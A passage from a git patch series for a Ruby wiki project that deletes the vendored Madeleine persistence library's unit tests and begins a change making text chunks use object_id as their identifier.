raise "this is an exception from a command" - end -end - -class ErrorHandlingTest < Test::Unit::TestCase - include TestUtils - - def teardown - delete_directory(prevalence_base) - end - - def prevalence_base - "error-handling-base" - end - - def test_exception_in_command - madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } - assert_raises(RuntimeError) do - madeleine.execute_command(ErrorRaisingCommand.new) - end - madeleine.close - madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } - madeleine.close - end -end - -class QueryTest < Test::Unit::TestCase - include TestUtils - - def teardown - delete_directory(prevalence_base) - end - - def prevalence_base - "query-base" - end - - def test_querying - madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } - query = Object.new - def query.execute(system) - system.size - end - # 'query' is an un-marshallable singleton, so we implicitly test - # that querys aren't stored. - assert_equal(5, madeleine.execute_query(query)) - # TODO: assert that no logging was done - # TODO: assert that lock was held - end -end - - -class TimeOptimizingLoggerTest < Test::Unit::TestCase - include TestUtils - - def setup - @target = Madeleine::Logger.new("some_directory", self) - @log = [] - def @log.store(command) - self << command - end - end - - def teardown - delete_directory("some_directory") - end - - def test_optimizing_ticks - assert_equal(0, @log.size) - @target.store(Madeleine::Clock::Tick.new(Time.at(3))) - assert_equal(0, @log.size) - @target.store(Madeleine::Clock::Tick.new(Time.at(22))) - assert_equal(0, @log.size) - @target.store(Addition.new(100)) - assert_kind_of(Madeleine::Clock::Tick, @log[0]) - assert_equal(22, value_of_tick(@log[0])) - assert_equal(100, @log[1].value) - assert_equal(2, @log.size) - end - - def value_of_tick(tick) - @clock = Object.new - def @clock.forward_to(time) - @value = time.to_i - end - def @clock.value - @value - end - tick.execute(self) - @clock.value - end - - # Self-shunt - def create_log(directory_name) - assert_equal("some_directory", directory_name) - @log - end - - # Self-shunt - def clock - @clock - end -end - - -class SharedLockQueryTest < Test::Unit::TestCase - include TestUtils - - def prevalence_base - "shared_lock_test" - end - - def teardown - delete_directory(prevalence_base) - end - - def test_query - madeleine = SnapshotMadeleine.new(prevalence_base) { "hello" } - lock = Object.new - madeleine.instance_eval { @lock = lock } # FIXME: The horror, the horror - - $shared = false - $was_shared = false - def lock.synchronize_shared(&block) - $shared = true - block.call - $shared = false - end - query = Object.new - def query.execute(system) - $was_shared = $shared - end - madeleine.execute_query(query) - assert($was_shared) - end -end - -suite = Test::Unit::TestSuite.new("Madeleine") - -suite << SnapshotMadeleineTest.suite -suite << NumberedFileTest.suite -require 'test_command_log' -suite << CommandLogTest.suite -suite << LoggerTest.suite -suite << CommandVerificationTest.suite -suite << CustomMarshallerTest.suite -suite << ErrorHandlingTest.suite -suite << QueryTest.suite -suite << TimeOptimizingLoggerTest.suite -suite << SharedLockQueryTest.suite -require 'test_executer' -suite << ExecuterTest.suite - -require 'test_clocked' -add_clocked_tests(suite) -require 'test_automatic' -add_automatic_tests(suite) -require 'test_persistence' -add_persistence_tests(suite) -require 'test_platforms' -add_platforms_tests(suite) -require 'test_zmarshal' -add_zmarshal_tests(suite) - -require 'test/unit/ui/console/testrunner' -Test::Unit::UI::Console::TestRunner.run(suite) diff --git a/vendor/madeleine-0.7.1/test/test_automatic.rb b/vendor/madeleine-0.7.1/test/test_automatic.rb deleted file mode 100755 index da0c1719..00000000 --- a/vendor/madeleine-0.7.1/test/test_automatic.rb +++ /dev/null @@ -1,559 +0,0 @@ -#!/usr/local/bin/ruby -w -# -# Copyright(c) 2003-2004 Stephen Sykes -# Copyright(c) 2003-2004 Anders Bengtsson -# - -$LOAD_PATH.unshift("lib") - -require 'madeleine' -require 'madeleine/automatic' -require 'test/unit' -#require 'contrib/batched.rb' # uncomment if testing batched - -class A - include Madeleine::Automatic::Interceptor - attr_accessor :z,:k - def initialize - @k=1 - end -end - -class B - include Madeleine::Automatic::Interceptor - attr_accessor :yy, :s - def initialize(a) - @yy = C.new(a) - end -end - -class C - include Madeleine::Automatic::Interceptor - attr_accessor :x, :a - def initialize(x) - @x = x - @a ||= D.new - end -end - -# direct changes in this class are not saved, except at snapshot -class D - attr_accessor :w -end - -class F - include Madeleine::Automatic::Interceptor - attr_accessor :z,:a - def plus1 - @z += 1 - end -end - -class G - include Madeleine::Automatic::Interceptor - attr_accessor :yy,:a - def initialize - @yy = H.new - end -end - -class H - include Madeleine::Automatic::Interceptor - attr_accessor :w - def minus1 - @w -= 1 - end -end - -class I - include Madeleine::Automatic::Interceptor - def initialize - @x = J.new - end - def testyield - r = false - @x.yielder {|c| r = true if c == 1} - r - end -end - -class J - include Madeleine::Automatic::Interceptor - def yielder - yield 1 - end -end - -class K - include Madeleine::Automatic::Interceptor - attr_accessor :k - def initialize - @k=1 - end - def seven - @k=7 - end - def fourteen - @k=14 - end - automatic_read_only :fourteen - automatic_read_only - def twentyone - @k=21 - end -end - -class L - include Madeleine::Automatic::Interceptor - attr_reader :x - def initialize - @x = M.new(self) - end -end - -class M - include Madeleine::Automatic::Interceptor - attr_reader :yy - def initialize(yy) - @yy = yy - end -end - -class AutoTest < Test::Unit::TestCase - - def persister - SnapshotMadeleine - end - - def delete_directory(directory_name) - return unless File.exist?(directory_name) - Dir.foreach(directory_name) do |file| - next if file == "." - next if file == ".." - assert(File.delete(directory_name + File::SEPARATOR + file) == 1, - "Unable to delete #{file}") - end - Dir.delete(directory_name) - end - - def create_new_system(klass, dir, *arg) - delete_directory(dir) - Thread.critical = true - @system_bases << dir - Thread.critical = false - make_system(dir) { klass.new(*arg) } - end - - def make_system(dir, marshaller=Marshal, &block) - AutomaticSnapshotMadeleine.new(dir, marshaller, persister, &block) - end - - def prevalence_base - "AutoPrevalenceTestBase" + self.class.to_s - end - - def setup - @system_bases = [] - end - - def teardown - @system_bases.each {|dir| - delete_directory(dir) - } - end - - def simpletest(n) - pb = prevalence_base + n.to_s - mad_a = create_new_system(A, pb) - mad_a.close - mad_a1 = make_system(pb) { A.new } - assert_equal(1, mad_a1.system.k, "No commands or snapshot") - mad_a1.system.z = 0 - mad_a1.system.z += 1 - assert_equal(1, mad_a1.system.z, "Object changes") - mad_a1.system.z -= 10 - assert_equal(-9, mad_a1.system.z, "Object changes") - mad_a1.close - mad_a2 = make_system(pb) { A.new } - assert_equal(-9, mad_a2.system.z, "Commands but no snapshot") - mad_a2.take_snapshot - mad_a2.close - mad_a3 = make_system(pb) { A.new } - assert_equal(-9, mad_a3.system.z, "Snapshot but no commands") - mad_a3.system.z -= 6 - mad_a3.system.z -= 3 - mad_a3.close - mad_a4 = make_system(pb) { A.new } - assert_equal(-18, mad_a4.system.z, "Snapshot and commands") - mad_a4.close - end -end - -# Basic test, and that system works in SAFE level 1 -class BasicTest < AutoTest - def test_main - simpletest(1) - end - - def test_main_in_safe_level_one - thread = Thread.new { - $SAFE = 1 - test_main - } - thread.join - end -end - -class ObjectOutsideTest < AutoTest - def test_main - mad = create_new_system(A, prevalence_base) - assert_raises(RuntimeError) { - mad.system.z = A.new # app object created outside system - } - mad.close - end -end - -# Passing a block when it would generate a command is not allowed because blocks cannot -# be serialised. However, block passing/yielding inside the application is ok. -class BlockGivenTest < AutoTest - def test_main - mad = create_new_system(J, prevalence_base) - assert_raises(RuntimeError) { - mad.system.yielder {|a| a} - } - mad.close - mad2 = create_new_system(I, prevalence_base+"2") - assert(mad2.system.testyield, "Internal block passing") - mad2.close - end -end - -class NonPersistedObjectTest < AutoTest - def test_main - mad_b = create_new_system(B, prevalence_base, 0) - mad_b.system.yy.x -= 1 - assert_equal(-1, mad_b.system.yy.x, "Direct change of object inside main object") - - mad_b.system.yy.a.w ||= "hello" # not saved - mad_b.system.yy.a.w += " again" # not saved - - assert_equal("hello again", mad_b.system.yy.a.w, "Non persisted object before close") - - mad_b.close - mad_b2 = make_system(prevalence_base) { B.new(0) } - assert_equal(nil, mad_b2.system.yy.a.w, "Non persisted object after restart, no snapshot") - mad_b2.system.yy.a.w ||= "hello" # not saved - mad_b2.system.yy.a.w += " again" # not saved - mad_b2.take_snapshot # NOW saved - mad_b2.system.yy.a.w += " again" # not saved - assert_equal("hello again again", mad_b2.system.yy.a.w, "Non persisted object after take_snapshot and 1 change") - - mad_b2.close - mad_b3 = make_system(prevalence_base) { B.new(0) } - assert_equal("hello again", mad_b3.system.yy.a.w, "Non persisted object after restore (back to snapshotted state)") - mad_b3.close - end -end - -class RefInExternalObjTest < AutoTest - def test_main - mad_c = create_new_system(B, prevalence_base, 0) - x = D.new - x.w = mad_c.system.yy - mad_c.system.s = x # pass in an external object that contains a ref to obj in ths system - - mad_c.system.s.w.x += 1 # Increment counter via external obj - assert_equal(1, mad_c.system.yy.x, "Change via external object") - mad_c.system.yy.x += 1 # Increment counter directly - assert_equal(2, mad_c.system.s.w.x, "Direct change") - mad_c.close - - mad_c2 = make_system(prevalence_base) { B.new(0) } - assert_equal(2, mad_c2.system.s.w.x, "Value via external object after commands/restore") - assert_equal(2, mad_c2.system.yy.x, "Direct value after restore") - mad_c2.take_snapshot - mad_c2.close - - mad_c3 = make_system(prevalence_base) { B.new(0) } - assert_equal(2, mad_c3.system.s.w.x, "Value via external object after snapshot/restore") - assert_equal(2, mad_c3.system.yy.x, "Direct value after snapshot/restore") - - mad_c3.system.s.w.x += 1 # Increment counter via external obj - mad_c3.system.yy.x += 1 # Increment counter directly - mad_c3.close - - mad_c4 = make_system(prevalence_base) { B.new(0) } - assert_equal(4, mad_c4.system.s.w.x, "Value via external object after snapshot+commands/restore") - assert_equal(4, mad_c4.system.yy.x, "Direct value after snapshot+commands/restore") - mad_c4.close - end -end - -class BasicThreadSafetyTest < AutoTest - def test_main - x = Thread.new { - simpletest(1) - } - y = Thread.new { - simpletest(2) - } - x.join - y.join - end -end - -class ThreadConfidenceTest < AutoTest - def test_main - mad_d = create_new_system(F, prevalence_base) - mad_d.system.z = 0 - mad_e = create_new_system(G, prevalence_base+"2") - mad_e.system.yy.w = 0 - - x = [] - 25.times {|n| - x[n] = Thread.new { - 5.times { - sleep(rand/10) - mad_d.system.plus1 - mad_e.system.yy.minus1 - } - } - } - 25.times {|n| - x[n].join - } - assert_equal(125, mad_d.system.z, "125 commands") - assert_equal(-125, mad_e.system.yy.w, "125 commands") - - mad_e.close - mad_e2 = make_system(prevalence_base+"2") { G.new } - - 25.times {|n| - x[n] = Thread.new { - 5.times { - sleep(rand/10) - mad_d.system.plus1 - mad_e2.system.yy.minus1 - } - } - } - 25.times {|n| - x[n].join - } - assert_equal(250, mad_d.system.z, "restore/125 commands") - assert_equal(-250, mad_e2.system.yy.w, "restore/125 commands") - mad_d.close - mad_e2.close - end -end - -class InvalidMethodTest < AutoTest - def test_main - mad_f = create_new_system(A, prevalence_base) - mad_f.system.z = -1 - assert_raises(NoMethodError) { - mad_f.system.not_a_method - } - assert_equal(-1, mad_f.system.z, "System functions after NoMethodError") - mad_f.close - end -end - -class CircularReferenceTest < AutoTest - def test_main - mad_g = create_new_system(G, prevalence_base) - mad_g.system.yy.w = mad_g.system - mad_g.close - mad_g2 = make_system(prevalence_base) { G.new } - assert(mad_g2.system == mad_g2.system.yy.w.yy.w.yy.w, "Circular reference after command/restore") - mad_g2.take_snapshot - mad_g2.close - mad_g3 = make_system(prevalence_base) { G.new } - assert(mad_g3.system == mad_g3.system.yy.w.yy.w.yy.w, "Circular reference after snapshot/restore") - mad_g3.system.yy.w.yy.w.yy.w.a = 1 - assert_equal(1, mad_g3.system.a, "Circular reference change") - mad_g3.close - mad_g4 = make_system(prevalence_base) { G.new } - assert_equal(1, mad_g4.system.yy.w.yy.w.yy.w.a, "Circular reference after snapshot+commands/restore") - mad_g4.close -# The following tests would fail, cannot pass self (from class L to class M during init) -# self is the proxied object itself, not the Prox object it needs to be - mad_l = create_new_system(L, prevalence_base) -# assert_equal(mad_l.system, mad_l.system.x.yy, "Circular ref before snapshot/restore, passed self") - mad_l.take_snapshot - mad_l.close - mad_l = make_system(prevalence_base) { L.new } -# assert_equal(mad_l.system, mad_l.system.x.yy, "Circular ref after snapshot/restore, passed self") - mad_l.close - end -end - -class AutomaticCustomMarshallerTest < AutoTest - def test_main - custom_m(YAML) - custom_m(SOAP::Marshal) - custom_m(Madeleine::ZMarshal.new) - custom_m(Madeleine::ZMarshal.new(YAML)) - custom_m(Madeleine::ZMarshal.new(SOAP::Marshal)) - end - - def custom_m(marshaller) - dir = prevalence_base - delete_directory(dir) - @system_bases << dir - mad_h = make_system(dir) { G.new } - mad_h.system.yy.w = "abc" - mad_h.take_snapshot - mad_h.system.yy.w += "d" - assert_equal("abcd", mad_h.system.yy.w, "Custom marshalling after snapshot+commands with normal marshaller") - mad_h.close - mad_h = make_system(dir, marshaller) { G.new } - assert_equal("abcd", mad_h.system.yy.w, "Custom marshalling after snapshot+commands with normal marshaller, read with custom as marshaller") - mad_h.close - mad_h = make_system(dir) { G.new } - mad_h.marshaller = marshaller - mad_h.system.yy.w += "e" - assert_equal("abcde", mad_h.system.yy.w, "Custom marshalling after snapshot+commands+change marshaller+commands") - mad_h.take_snapshot - mad_h.close - if (marshaller == YAML) - File.open(dir + "/000000000000000000002.snapshot", "r") {|f| - assert_equal(f.gets, "--- !ruby/object:Madeleine::Automatic::Prox \n", "Custom marshalling marshaller change check") - } - end - mad_h = make_system(dir, marshaller) { G.new } - assert_equal("abcde", mad_h.system.yy.w, - "Custom marshalling after snapshot+commands+change marshaller+commands+snapshot+restore with normal marshaller") - mad_h.system.yy.w += "f" - mad_h.close - mad_h = make_system(dir) { G.new } - assert_equal("abcdef", mad_h.system.yy.w, "Custom marshalling snapshot custom+commands+restore normal") - mad_h.take_snapshot - mad_h.close - mad_h = make_system(dir, marshaller) { G.new } - assert_equal("abcdef", mad_h.system.yy.w, "Custom marshalling snapshot+restore custom") - mad_h.take_snapshot - mad_h.system.yy.w += "g" - mad_h.close - mad_h = make_system(dir, marshaller) { G.new } - assert_equal("abcdefg", mad_h.system.yy.w, "Custom marshalling after restore normal snapshot custom+commands+restore custom") - mad_h.system.yy.w = "abc" - mad_h.close - mad_h2 = make_system(dir, marshaller) { G.new } - assert_equal("abc", mad_h2.system.yy.w, "Custom marshalling after commands/restore") - mad_h2.take_snapshot - mad_h2.close - mad_h3 = make_system(dir, marshaller) { G.new } - assert_equal("abc", mad_h3.system.yy.w, "Custom marshalling after snapshot/restore") - mad_h3.system.yy.w += "d" - mad_h3.close - mad_h4 = make_system(dir, marshaller) { G.new } - assert_equal("abcd", mad_h4.system.yy.w, "Custom marshalling after snapshot+commands/restore") - mad_h4.close - mad_h = make_system(dir, marshaller) { G.new } - mad_h.system.yy.w = mad_h.system - mad_h.close - mad_h2 = make_system(dir, marshaller) { G.new } - assert_equal(mad_h2.system, mad_h2.system.yy.w, "Custom marshalling after commands/restore, circular ref") - mad_h2.take_snapshot - mad_h2.close - mad_h3 = make_system(dir, marshaller) { G.new } - assert_equal(mad_h3.system, mad_h3.system.yy.w, "Custom marshalling after snapshot/restore, circular ref") - mad_h3.system.yy.w = "sss" - mad_h3.system.yy.w = mad_h3.system - mad_h3.close - mad_h4 = make_system(dir, marshaller) { G.new } - assert_equal(mad_h4.system, mad_h4.system.yy.w, "Custom marshalling after snapshot+commands/restore, circular ref") - mad_h4.close - end -end - -# tests thread safety during system creation, particularly that different system ids are generated -class ThreadedStartupTest < AutoTest - def test_main - x,mad = [],[] - 20.times {|n| - x[n] = Thread.new { - sleep(rand/100) - mad[n] = create_new_system(F, prevalence_base+n.to_s) - mad[n].system.z = n - assert_equal(n, mad[n].system.z, "object change mad[#{n}].z") - mad[n].close - } - } - 20.times {|n| - x[n].join - mad_i = make_system(prevalence_base+n.to_s) { F.new } - assert_equal(n, mad_i.system.z, "restored mad[#{n}].z") - mad_i.close - } - end -end - -# tests restoring when objects get unreferenced and GC'd during restore -class FinalisedTest < AutoTest - def test_main - mad = create_new_system(B, prevalence_base, 0) - mad.system.yy = Array.new(200000) # make ruby run GC - mad.system.yy = Array.new(200000) # must be a better way, but running GC.start from inside - mad.system.yy = Array.new(50000) # class B didn't work for me - mad.close - mad2 = make_system(prevalence_base) { B.new(0) } - mad2.close - end -end - -class DontInterceptTest < AutoTest - def test_main - mad = create_new_system(K, prevalence_base) - mad.system.seven - assert_equal(7, mad.system.k, "Object changes") - mad.system.fourteen - assert_equal(14, mad.system.k, "Object changes, not intercepted") - mad.system.twentyone - assert_equal(21, mad.system.k, "Object changes, not intercepted") - mad.close - mad_1 = make_system(prevalence_base) { K.new } - assert_equal(7, mad_1.system.k, "Commands but no snapshot") - mad_1.take_snapshot - mad_1.close - mad_2 = make_system(prevalence_base) { K.new } - assert_equal(7, mad_2.system.k, "Snapshot but no commands") - mad_2.system.k -= 6 - mad_2.system.k -= 3 - mad_2.system.fourteen - mad_2.close - mad_3 = make_system(prevalence_base) { K.new } - assert_equal(-2, mad_3.system.k, "Snapshot and commands") - mad_3.close - end -end - -def add_automatic_tests(suite) - suite << BasicTest.suite - suite << ObjectOutsideTest.suite - suite << BlockGivenTest.suite - suite << NonPersistedObjectTest.suite - suite << RefInExternalObjTest.suite - suite << InvalidMethodTest.suite - suite << CircularReferenceTest.suite - suite << BasicThreadSafetyTest.suite - suite << FinalisedTest.suite - suite << DontInterceptTest.suite - suite << AutomaticCustomMarshallerTest.suite -end - -def add_slow_automatic_tests(suite) - suite << ThreadConfidenceTest.suite - suite << ThreadedStartupTest.suite -end - -if __FILE__ == $0 - slowsuite = Test::Unit::TestSuite.new("AutomaticMadeleine (including slow tests)") - add_automatic_tests(slowsuite) - add_slow_automatic_tests(slowsuite) - - require 'test/unit/ui/console/testrunner' - Test::Unit::UI::Console::TestRunner.run(slowsuite) -end diff --git a/vendor/madeleine-0.7.1/test/test_clocked.rb b/vendor/madeleine-0.7.1/test/test_clocked.rb deleted file mode 100755 index fcbd02d1..00000000 --- a/vendor/madeleine-0.7.1/test/test_clocked.rb +++ /dev/null @@ -1,94 +0,0 @@ - -require 'madeleine/clock' - -class ClockedAddingSystem - include Madeleine::Clock::ClockedSystem - - attr_reader :total - - def initialize - @total = 0 - end - - def add(value) - @total += value - @total - end -end - -class TimeTest < Test::Unit::TestCase - - def test_clock - target = Madeleine::Clock::Clock.new - assert_equal(0, target.time.to_i) - assert_equal(0, target.time.usec) - - t1 = Time.at(10000) - target.forward_to(t1) - assert_equal(t1, target.time) - t2 = Time.at(20000) - target.forward_to(t2) - assert_equal(t2, target.time) - - assert_nothing_raised() { - target.forward_to(t2) - } - end - - def test_time_actor - @forward_calls = 0 - @last_time = Time.at(0) - - target = Madeleine::Clock::TimeActor.launch(self, 0.01) - - # When launch() has returned it should have sent - # one synchronous clock-tick before it went to sleep - assert_equal(1, @forward_calls) - - sleep(0.1) - assert(@forward_calls > 1) - target.destroy - - @forward_calls = 0 - sleep(0.1) - assert_equal(0, @forward_calls) - end - - # Self-shunt - def execute_command(command) - mock_system = self - command.execute(mock_system) - end - - # Self-shunt (system) - def clock - self - end - - # Self-shunt (clock) - def forward_to(time) - if time < @last_time - raise "non-monotonous time" - end - @last_time = time - @forward_calls += 1 - end - - def test_clocked_system - target = Object.new - target.extend(Madeleine::Clock::ClockedSystem) - t1 = Time.at(10000) - target.clock.forward_to(t1) - assert_equal(t1, target.clock.time) - t2 = Time.at(20000) - target.clock.forward_to(t2) - assert_equal(t2, target.clock.time) - reloaded_target = Marshal.load(Marshal.dump(target)) - assert_equal(t2, reloaded_target.clock.time) - end -end - - -def add_clocked_tests(suite) - suite << TimeTest.suite -end diff --git a/vendor/madeleine-0.7.1/test/test_command_log.rb b/vendor/madeleine-0.7.1/test/test_command_log.rb deleted file mode 100755 index 9f0961ca..00000000 --- a/vendor/madeleine-0.7.1/test/test_command_log.rb +++ /dev/null @@ -1,110 +0,0 @@ - -unless $LOAD_PATH.include?("lib") - $LOAD_PATH.unshift("lib") -end -unless $LOAD_PATH.include?("test") - $LOAD_PATH.unshift("test") -end - -require 'madeleine' -require 'test/unit' -require 'stringio' - -class ExampleCommand - attr :value - - def initialize(value) - @value = value - end - - def execute(system) - system.add(@value) - end -end - -class CommandLogTest < Test::Unit::TestCase - - class MockFile < StringIO - def fsync - @was_fsynced = true - super - end - - attr :was_fsynced - end - - def test_file_opening - file_service = Object.new - def file_service.exist?(path) - [ - ["some", "path"].join(File::SEPARATOR), - ["some", "path", "000000000000000000001.command_log"].join(File::SEPARATOR), - ["some", "path", "000000000000000000002.command_log"].join(File::SEPARATOR), - ["some", "path", "000000000000000000003.command_log"].join(File::SEPARATOR), - ].include?(path) - end - def file_service.dir_entries(path, &block) - if path != ["some", "path"].join(File::SEPARATOR) - raise "wrong path" - end - [ - "000000000000000000001.command_log", - "000000000000000000003.command_log", - "000000000000000000002.command_log", - ] - end - def file_service.open(path, flags) - @was_open_called = true - if path != ["some", "path", "000000000000000000004.command_log"].join(File::SEPARATOR) - raise "wrong file id" - end - if flags != "wb" - raise "wrong flags" - end - MockFile.new - end - def file_service.was_open_called - @was_open_called - end - - target = Madeleine::CommandLog.new("some/path", file_service) - assert(file_service.was_open_called) - end - - def test_writing_command - file_service = Object.new - def file_service.exist?(path) - [ - ["some", "path"].join(File::SEPARATOR), - ].include?(path) - end - def file_service.dir_entries(path, &block) - if path != ["some", "path"].join(File::SEPARATOR) - raise "wrong path" - end - [] - end - def file_service.open(path, flags) - @file = MockFile.new - @file - end - def file_service.file - @file - end - def file_service.verify - unless @file.was_fsynced - raise "file wasn't fsynced" - end - end - command = ExampleCommand.new(1234) - - target = Madeleine::CommandLog.new("some/path", file_service) - target.store(command) - - file_service.verify - - file_service.file.rewind - assert_equal(Marshal.dump(command), file_service.file.read) - end -end - diff --git a/vendor/madeleine-0.7.1/test/test_executer.rb b/vendor/madeleine-0.7.1/test/test_executer.rb deleted file mode 100755 index 27d2f062..00000000 --- a/vendor/madeleine-0.7.1/test/test_executer.rb +++ /dev/null @@ -1,54 +0,0 @@ - -unless $LOAD_PATH.include?("lib") - $LOAD_PATH.unshift("lib") -end -unless $LOAD_PATH.include?("test") - $LOAD_PATH.unshift("test") -end - -require 'test/unit' -require 'madeleine' - -class ExecuterTest < Test::Unit::TestCase - - def test_executer - system = Object.new - command = self - executer = Madeleine::Executer.new(system) - @executed_with = nil - executer.execute(command) - assert_same(system, @executed_with) - end - - # Self-shunt - def execute(system) - @executed_with = system - end - - def test_execute_with_exception - system = Object.new - command = Object.new - def command.execute(system) - raise "this is an exception from a command" - end - executer = Madeleine::Executer.new(system) - assert_raises(RuntimeError) { - executer.execute(command) - } - end - - def test_exception_in_recovery - system = Object.new - command = Object.new - def command.execute(system) - raise "this is an exception from a command" - end - executer = Madeleine::Executer.new(system) - executer.recovery { - executer.execute(command) - } - assert_raises(RuntimeError) { - executer.execute(command) - } - end -end diff --git a/vendor/madeleine-0.7.1/test/test_persistence.rb b/vendor/madeleine-0.7.1/test/test_persistence.rb deleted file mode 100755 index c0e3a639..00000000 --- a/vendor/madeleine-0.7.1/test/test_persistence.rb +++ /dev/null @@ -1,169 +0,0 @@ -#!/usr/local/bin/ruby -w -# -# Copyright(c) 2003 Anders Bengtsson -# -# PersistenceTest is based on the unit tests from Prevayler, -# Copyright(c) 2001-2003 Klaus Wuestefeld. -# - -$LOAD_PATH.unshift("lib") - -require 'madeleine' -require 'test/unit' - -class AddingSystem - attr_reader :total - - def initialize - @total = 0 - end - - def add(value) - @total += value - @total - end -end - - -class Addition - - attr_reader :value - - def initialize(value) - @value = value - end - - def execute(system) - system.add(@value) - end -end - - -class PersistenceTest < Test::Unit::TestCase - - def setup - @madeleine = nil - end - - def teardown - delete_prevalence_files(prevalence_base) - Dir.delete(prevalence_base) - end - - def verify(expected_total) - assert_equal(expected_total, prevalence_system().total(), "Total") - end - - def prevalence_system - @madeleine.system - end - - def prevalence_base - "PrevalenceBase" - end - - def clear_prevalence_base - @madeleine.close unless @madeleine.nil? - delete_prevalence_files(prevalence_base()) - end - - def delete_prevalence_files(directory_name) - return unless File.exist?(directory_name) - Dir.foreach(directory_name) {|file_name| - next if file_name == '.' - next if file_name == '..' - file_name.untaint - assert(File.delete(directory_name + File::SEPARATOR + file_name) == 1, - "Unable to delete #{file_name}") - } - end - - def crash_recover - @madeleine.close unless @madeleine.nil? - @madeleine = create_madeleine() - end - - def create_madeleine - SnapshotMadeleine.new(prevalence_base()) { AddingSystem.new } - end - - def snapshot - @madeleine.take_snapshot - end - - def add(value, expected_total) - total = @madeleine.execute_command(Addition.new(value)) - assert_equal(expected_total, total, "Total") - end - - def verify_snapshots(expected_count) - count = 0 - Dir.foreach(prevalence_base) {|name| - if name =~ /\.snapshot$/ - count += 1 - end - } - assert_equal(expected_count, count, "snapshots") - end - - def test_main - clear_prevalence_base - - # There is nothing to recover at first. - # A new system will be created. - crash_recover - - crash_recover - add(40,40) - add(30,70) - verify(70) - - crash_recover - verify(70) - - add(20,90) - add(15,105) - verify_snapshots(0) - snapshot - verify_snapshots(1) - snapshot - verify_snapshots(2) - verify(105) - - crash_recover - snapshot - add(10,115) - snapshot - add(5,120) - add(4,124) - verify(124) - - crash_recover - add(3,127) - verify(127) - - verify_snapshots(4) - - clear_prevalence_base - snapshot - - crash_recover - add(10,137) - add(2,139) - crash_recover - verify(139) - end - - def test_main_in_safe_level_one - thread = Thread.new { - $SAFE = 1 - test_main - } - thread.join - end -end - - -def add_persistence_tests(suite) - suite << PersistenceTest.suite -end diff --git a/vendor/madeleine-0.7.1/test/test_platforms.rb b/vendor/madeleine-0.7.1/test/test_platforms.rb deleted file mode 100755 index b3ee03b1..00000000 --- a/vendor/madeleine-0.7.1/test/test_platforms.rb +++ /dev/null @@ -1,65 +0,0 @@ - -class AddCommand - def initialize(obj) - @obj = obj - end - - def execute(system) - system[@obj.myid] = @obj - end -end - -class Foo - attr_accessor :myid -end - - -# Checks for a strange marshalling or IO bug observed in the -# native win32-port of Ruby on WinXP. -# -# Test case provided by Steve Conover. - -class WierdWin32CorruptionTest < Test::Unit::TestCase - include TestUtils - - def teardown - (1..5).each {|i| - delete_directory("corruption_test#{i}") - } - end - - def doCorruptionTest(idstr, storagenumber) - m = SnapshotMadeleine.new("corruption_test" + storagenumber) { Hash.new() } - - f = Foo.new() - f.myid = idstr - - m.execute_command(AddCommand.new(f)) - m.close() - m = SnapshotMadeleine.new("corruption_test" + storagenumber) { Hash.new() } - end - - def testErrorOne - doCorruptionTest("123456789012345678901", "1") - end - - def testErrorTwo - doCorruptionTest("aaaaaaaaaaaaaaaaaaaaa", "2") - end - - def testNoErrorOne - doCorruptionTest("12345678901234567890", "3") - end - - def testNoErrorTwo - doCorruptionTest("1234567890123456789012", "4") - end - - def testWhiteSpace - doCorruptionTest("\n\r\t \r\n", "5") - end -end - -def add_platforms_tests(suite) - suite << WierdWin32CorruptionTest.suite -end diff --git a/vendor/madeleine-0.7.1/test/test_zmarshal.rb b/vendor/madeleine-0.7.1/test/test_zmarshal.rb deleted file mode 100755 index 80f46b90..00000000 --- a/vendor/madeleine-0.7.1/test/test_zmarshal.rb +++ /dev/null @@ -1,52 +0,0 @@ - -require 'madeleine/zmarshal' - -require 'stringio' -require 'yaml' - -class ZMarshalTest < Test::Unit::TestCase - - def test_full_circle_marshal - target = Madeleine::ZMarshal.new(Marshal) - object = ["foo", "bar"] - stream = StringIO.new - - target.dump(object, stream) - stream.rewind - result = target.load(stream) - - assert_equal(object, result) - end - - def test_full_circle_yaml - target = Madeleine::ZMarshal.new(YAML) - object = ["foo", "bar"] - stream = StringIO.new - - target.dump(object, stream) - stream.rewind - result = target.load(stream) - - assert_equal(object, result) - end - - def test_compression - target = Madeleine::ZMarshal.new(Marshal) - object = "x" * 1000 - - stream = StringIO.new - Marshal.dump(object, stream) - reference_size = stream.size - - stream = StringIO.new - target.dump(object, stream) - compressed_size = stream.size - - assert(compressed_size < reference_size) - end -end - - -def add_zmarshal_tests(suite) - suite << ZMarshalTest.suite -end From fa82bfdb9c5e3c8c26546983465764a096205cad Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Wed, 10 Aug 2005 05:58:18 +0000 Subject: [PATCH 337/529] Without Madeleine, chunks can again use their object_id as a unique identifier, instead of an artificial one. This speeds up rendering somewhat, and eliminates the last mention of Madeleine from the codebase :) --- lib/chunks/chunk.rb | 13 +++---------- lib/wiki_content.rb | 29 ++++++++++++----------------- 2 files changed, 15 insertions(+), 27 deletions(-) diff --git a/lib/chunks/chunk.rb b/lib/chunks/chunk.rb index 9ba3cc04..ad0fb148 100644 --- a/lib/chunks/chunk.rb +++ b/lib/chunks/chunk.rb @@ -27,8 +27,8 @@ module Chunk # a regexp that matches all chunk_types masks def Abstract::mask_re(chunk_types) - tmp = chunk_types.map{|klass| klass.mask_string}.join("|") - Regexp.new("chunk([0-9a-f]+n\\d+)(#{tmp})chunk") + chunk_classes = chunk_types.map{|klass| klass.mask_string}.join("|") + /chunk(\d+)(#{chunk_classes})chunk/ end attr_reader :text, :unmask_text, :unmask_mode @@ -53,14 +53,7 @@ module Chunk # should contain only [a-z0-9] def mask - @mask ||="chunk#{@id}#{self.class.mask_string}chunk" - end - - # We should not use object_id because object_id is not guarantied - # to be unique when we restart the wiki (new object ids can equal old ones - # that were restored from madeleine storage) - def id - @id ||= "#{@content.page_id}n#{@content.chunk_id}" + @mask ||= "chunk#{self.object_id}#{self.class.mask_string}chunk" end def unmask diff --git a/lib/wiki_content.rb b/lib/wiki_content.rb index dcc89ef9..6fcc4a85 100644 --- a/lib/wiki_content.rb +++ b/lib/wiki_content.rb @@ -59,14 +59,14 @@ module ChunkManager def add_chunk(c) @chunks_by_type[c.class] << c - @chunks_by_id[c.id] = c + @chunks_by_id[c.object_id] = c @chunks << c @chunk_id += 1 end def delete_chunk(c) @chunks_by_type[c.class].delete(c) - @chunks_by_id.delete(c.id) + @chunks_by_id.delete(c.object_id) @chunks.delete(c) end @@ -82,18 +82,15 @@ module 